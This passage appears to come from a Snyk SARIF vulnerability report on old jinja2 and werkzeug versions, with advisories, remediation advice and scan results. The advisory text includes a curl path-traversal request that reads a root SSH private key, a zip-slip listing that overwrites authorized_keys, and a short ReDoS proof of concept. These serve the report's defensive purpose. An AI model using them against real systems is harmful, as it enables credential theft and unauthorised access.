vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `Jinja2` to version 3.1.3 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/7dd3680e6eea0d77fde024763657aa4d884ddb23)\n- [GitHub Release](https://github.com/pallets/jinja/releases/tag/3.1.3)\n- [Snyk Blog](https://snyk.io/blog/jinja2-xss-vulnerability/)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-6809379", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2024-34064) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: not-python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS) through the `xmlattr` filter. An attacker can manipulate the output of web pages by injecting additional attributes into elements, potentially leading to unauthorized actions or information disclosure.\r\n\r\n**Note:**\r\nThis vulnerability derives from an improper fix of [CVE-2024-22195](https://security.snyk.io/vuln/SNYK-PYTHON-JINJA2-6150717), which only addressed spaces but not other characters.\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.\n* Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.\n* Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.\n\n# Remediation\nUpgrade `Jinja2` to version 3.1.4 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/0668239dc6b44ef38e7a6c9f91f312fd4ca581cb)\n" - }, - "properties": { - "tags": ["security", "CWE-79", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-8548181", - "shortDescription": { - "text": "Medium severity - Template Injection vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2024-56326) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: not-python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n\nAffected versions of this package are vulnerable to Template Injection when an attacker controls the content of a template. This is due to an oversight in the sandboxed environment's method detection when using a stored reference to a malicious string's `format` method, which can then be executed through a filter.\r\n\r\n**Note:** This is only exploitable through custom filters in an application.\n# Remediation\nUpgrade `jinja2` to version 3.1.5 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/48b0687e05a5466a91cd5812d604fa37ad0943b4)\n- [GitHub Release](https://github.com/pallets/jinja/releases/tag/3.1.5)\n- [Jinja Chnanges](https://jinja.palletsprojects.com/en/stable/changes/#version-3-1-5)\n" - }, - "properties": { - "tags": ["security", "CWE-1336", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-8548987", - "shortDescription": { - "text": "Medium severity - Improper Neutralization vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2024-56201) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: not-python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n\nAffected versions of this package are vulnerable to Improper Neutralization when importing a macro in a template whose filename is also a template. This will result in a `SyntaxError: f-string: invalid syntax` error message because the filename is not properly escaped, indicating that it is being treated as a format string.\r\n\r\n**Note:** This is only exploitable when the attacker controls both the content and filename of a template and the application executes untrusted templates.\n# Remediation\nUpgrade `jinja2` to version 3.1.5 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/767b23617628419ae3709ccfb02f9602ae9fe51f)\n- [GitHub Issue](https://github.com/pallets/jinja/issues/1792)\n- [GitHub PR](https://github.com/pallets/jinja/pull/1852)\n- [GitHub Release](https://github.com/pallets/jinja/releases/tag/3.1.5)\n" - }, - "properties": { - "tags": ["security", "CWE-150", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-9292516", - "shortDescription": { - "text": "Medium severity - Template Injection vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2025-27516) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: not-python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Template Injection through the `|attr` filter. An attacker that controls the content of a template can escape the sandbox and execute arbitrary Python code by using the `|attr` filter to get a reference to a string's plain format method, bypassing the environment's attribute lookup.\r\n\r\n**Note:**\r\n\r\nThis is only exploitable if the application executes untrusted templates.\n# Remediation\nUpgrade `Jinja2` to version 3.1.6 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/90457bbf33b8662926ae65cdde4c4c32e756e403)\n" - }, - "properties": { - "tags": ["security", "CWE-1336", "pip"], - "cvssv3_baseScore": 5.4, - "security-severity": "5.4" - } - }, - { - "id": "SNYK-PYTHON-WERKZEUG-6808933", - "shortDescription": { - "text": "High severity - Remote Code Execution (RCE) vulnerability in werkzeug" - }, - "fullDescription": { - "text": "(CVE-2024-34069) werkzeug@3.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: werkzeug\n* Introduced through: not-python@0.0.0 and werkzeug@3.0.1\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › werkzeug@3.0.1\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › werkzeug@3.0.1\n# Overview\n\nAffected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient hostname checks and the use of relative paths to resolve requests. When the debugger is enabled, an attacker can convince a user to enter their own PIN to interact with a domain and subdomain they control, and thereby cause malicious code to be executed.\r\n\r\nThe demonstrated attack vector requires a number of conditions that render this attack very difficult to achieve, especially if the victim application is running in the recommended configuration of not having the debugger enabled in production.\n# Remediation\nUpgrade `werkzeug` to version 3.0.3 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/werkzeug/commit/71b69dfb7df3d912e66bab87fbb1f21f83504967)\n- [GitHub Release](https://github.com/pallets/werkzeug/releases/tag/3.0.3)\n" - }, - "properties": { - "tags": ["security", "CWE-94", "pip"], - "cvssv3_baseScore": 7.5, - "security-severity": "7.5" - } - }, - { - "id": "SNYK-PYTHON-WERKZEUG-8309091", - "shortDescription": { - "text": "Medium severity - Directory Traversal vulnerability in werkzeug" - }, - "fullDescription": { - "text": "(CVE-2024-49766) werkzeug@3.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: werkzeug\n* Introduced through: not-python@0.0.0 and werkzeug@3.0.1\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › werkzeug@3.0.1\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › werkzeug@3.0.1\n# Overview\n[Werkzeug](https://werkzeug.palletsprojects.com/) is a WSGI web application library.\n\nAffected versions of this package are vulnerable to Directory Traversal due to a bypass for `os.path.isabs()`, which allows the improper handling of UNC paths beginning with `/`, in the `safe_join()` function. This allows an attacker to read some files on the affected server, if they are stored in an affected path.\n\n**Note:** This is only exploitable on Windows systems using Python versions prior to 3.11.\n\n# Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n# Remediation\nUpgrade `Werkzeug` to version 3.0.6 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/werkzeug/commit/2767bcb10a7dd1c297d812cc5e6d11a474c1f092)\n" - }, - "properties": { - "tags": ["security", "CWE-22", "pip"], - "cvssv3_baseScore": 6.3, - "security-severity": "6.3" - } - }, - { - "id": "SNYK-PYTHON-WERKZEUG-8309092", - "shortDescription": { - "text": "Medium severity - Allocation of Resources Without Limits or Throttling vulnerability in werkzeug" - }, - "fullDescription": { - "text": "(CVE-2024-49767) werkzeug@3.0.1" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: werkzeug\n* Introduced through: not-python@0.0.0 and werkzeug@3.0.1\n### Detailed paths\n* _Introduced through_: not-python@0.0.0 › werkzeug@3.0.1\n* _Introduced through_: not-python@0.0.0 › flask@3.0.0 › werkzeug@3.0.1\n# Overview\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in `formparser.MultiPartParser()`. An attacker can cause the parser to consume more memory than the upload size, in excess of `max_form_memory_size`, by sending malicious data in a non-file field of a `multipart/form-data` request.\n# Remediation\nUpgrade `werkzeug` to version 3.0.6 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/quart/commit/5e78c4169b8eb66b91ead3e62d44721b9e1644ee)\n- [GitHub Commit](https://github.com/pallets/werkzeug/commit/50cfeebcb0727e18cc52ffbeb125f4a66551179b)\n- [GitHub Release](https://github.com/pallets/werkzeug/releases/tag/3.0.6)\n" - }, - "properties": { - "tags": ["security", "CWE-770", "pip"], - "cvssv3_baseScore": 6.9, - "security-severity": "6.9" - } - } - ] - } - }, - "automationDetails": { - "id": "Snyk/Open Source/not-python/2025-11-13T12:34:30.245Z" - }, - "results": [ - { - "ruleId": "SNYK-PYTHON-JINJA2-1012994", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-174126", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-455616", - "level": "error", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-6150717", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-6809379", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-8548181", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-8548987", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-JINJA2-9292516", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable jinja2 package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "jinja2@2.7.2" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-WERKZEUG-6808933", - "level": "error", - "message": { - "text": "This file introduces a vulnerable werkzeug package with a high severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "werkzeug@3.0.1" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-WERKZEUG-8309091", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable werkzeug package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "werkzeug@3.0.1" - } - ] - } - ] - }, - { - "ruleId": "SNYK-PYTHON-WERKZEUG-8309092", - "level": "warning", - "message": { - "text": "This file introduces a vulnerable werkzeug package with a medium severity vulnerability." - }, - "locations": [ - { - "physicalLocation": { - "artifactLocation": { - "uri": "not-python/requirements.txt" - }, - "region": { - "startLine": 1 - } - }, - "logicalLocations": [ - { - "fullyQualifiedName": "werkzeug@3.0.1" - } - ] - } - ] - } - ] - }, - { - "tool": { - "driver": { - "name": "Snyk Open Source", - "semanticVersion": "1.1301.0", - "version": "1.1301.0", - "informationUri": "https://docs.snyk.io/", - "properties": { - "artifactsScanned": 7 - }, - "rules": [ - { - "id": "SNYK-PYTHON-JINJA2-1012994", - "shortDescription": { - "text": "Medium severity - Regular Expression Denial of Service (ReDoS) vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2020-28493) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). The ReDoS vulnerability is mainly due to the `_punctuation_re regex` operator and its use of multiple wildcards. The last wildcard is the most exploitable as it searches for trailing punctuation.\r\n\r\nThis issue can be mitigated by using Markdown to format user content instead of the urlize filter, or by implementing request timeouts or limiting process memory.\r\n\r\n## PoC by Yeting Li\r\n```\r\nfrom jinja2.utils import urlize\r\nfrom time import perf_counter\r\n\r\nfor i in range(3):\r\n text = \"abc@\" + \".\" * (i+1)*5000 + \"!\"\r\n LEN = len(text)\r\n BEGIN = perf_counter()\r\n urlize(text)\r\n DURATION = perf_counter() - BEGIN\r\n print(f\"{LEN}: took {DURATION} seconds!\")\r\n```\n\n# Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n# Remediation\nUpgrade `Jinja2` to version 2.11.3 or higher.\n# References\n- [GitHub Additional Information](https://github.com/pallets/jinja/blob/ab81fd9c277900c85da0c322a2ff9d68a235b2e6/src/jinja2/utils.py#L20)\n- [GitHub PR](https://github.com/pallets/jinja/pull/1343)\n" - }, - "properties": { - "tags": ["security", "CWE-400", "pip"], - "cvssv3_baseScore": 5.3, - "security-severity": "5.3" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-174126", - "shortDescription": { - "text": "Medium severity - Sandbox Escape vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2019-10906) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Sandbox Escape via the `str.format_map`. This vulnerability requires the attacker to have information about sensitive attributes, and exploiting it could allow the attacker to access sensitive content.\r\n\r\n\r\n# Workaround\r\nOverride the `is_safe_attribute` method on the sandbox and explicitly disallow the `format_map` method on string objects.\n# Remediation\nUpgrade `Jinja2` to version 2.10.1 or higher.\n# References\n- [Release Notes](https://palletsprojects.com/blog/jinja-2-10-1-released)\n" - }, - "properties": { - "tags": ["security", "CWE-265", "pip"], - "cvssv3_baseScore": 6.8, - "security-severity": "6.8" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-455616", - "shortDescription": { - "text": "High severity - Sandbox Bypass vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2016-10745) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Sandbox Bypass. Users were allowed to insert `str.format` through web templates, leading to an escape from sandbox.\n# Remediation\nUpgrade `Jinja2` to version 2.8.1 or higher.\n# References\n- [GitHub Commit](https://github.com/pallets/jinja/commit/9b53045c34e61013dc8f09b7e52a555fa16bed16)\n" - }, - "properties": { - "tags": ["security", "CWE-234", "pip"], - "cvssv3_baseScore": 8.6, - "security-severity": "8.6" - } - }, - { - "id": "SNYK-PYTHON-JINJA2-6150717", - "shortDescription": { - "text": "Medium severity - Cross-site Scripting (XSS) vulnerability in jinja2" - }, - "fullDescription": { - "text": "(CVE-2024-22195) jinja2@2.7.2" - }, - "help": { - "text": "", - "markdown": "* Package Manager: pip\n* Vulnerable module: jinja2\n* Introduced through: python@0.0.0 and jinja2@2.7.2\n### Detailed paths\n* _Introduced through_: python@0.0.0 › jinja2@2.7.2\n* _Introduced through_: python@0.0.0 › flask@3.0.0 › jinja2@2.7.2\n# Overview\n[Jinja2](https://pypi.org/project/Jinja2/) is a template engine written in pure Python. It provides a Django inspired non-XML syntax but supports inline expressions and an optional sandboxed environment.\n\nAffected versions of this package are vulnerable to Cross-site Scripting (XSS) via the `xmlattr` filter, when using keys containing spaces in an application accepts keys as user input. An attacker can inject arbitrary HTML attributes into the rendered HTML template, bypassing the auto-escaping mechanism, which may lead to the execution of untrusted scripts in the context of the user's browser session.\r\n\r\n**Note**\r\nAccepting keys as user input is not common or a particularly intended use case of the `xmlattr` filter, and an application doing so should already be verifying what keys are provided regardless of this fix.\n# Details\n\nCross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.\n\nThis is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.\n\nInjecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.\n\nEscaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, `<` can be coded as `<`; and `>` can be coded as `>`; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses `<` and `>` as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.\n \nThe most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware. \n\n## Types of attacks\nThere are a few methods by which XSS can be manipulated:\n\n|Type|Origin|Description|\n|--|--|--|\n|**Stored**|Server|The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.|\n|**Reflected**|Server|The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.| \n|**DOM-based**|Client|The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.|\n|**Mutated**| |The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.|\n\n## Affected environments\nThe following environments are susceptible to an XSS attack:\n\n* Web servers\n* Application servers\n* Web application environments\n\n## How to prevent\nThis section describes the top best practices designed to specifically protect your code: \n\n* Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches. \n* Convert special characters such as `?`, `&`, `/`, `<`, `>` and spaces to their respective HTML or URL encoded equivalents. \n* Give users the option to disable client-side scripts.\n* Redirect invalid requests.\n* Detect 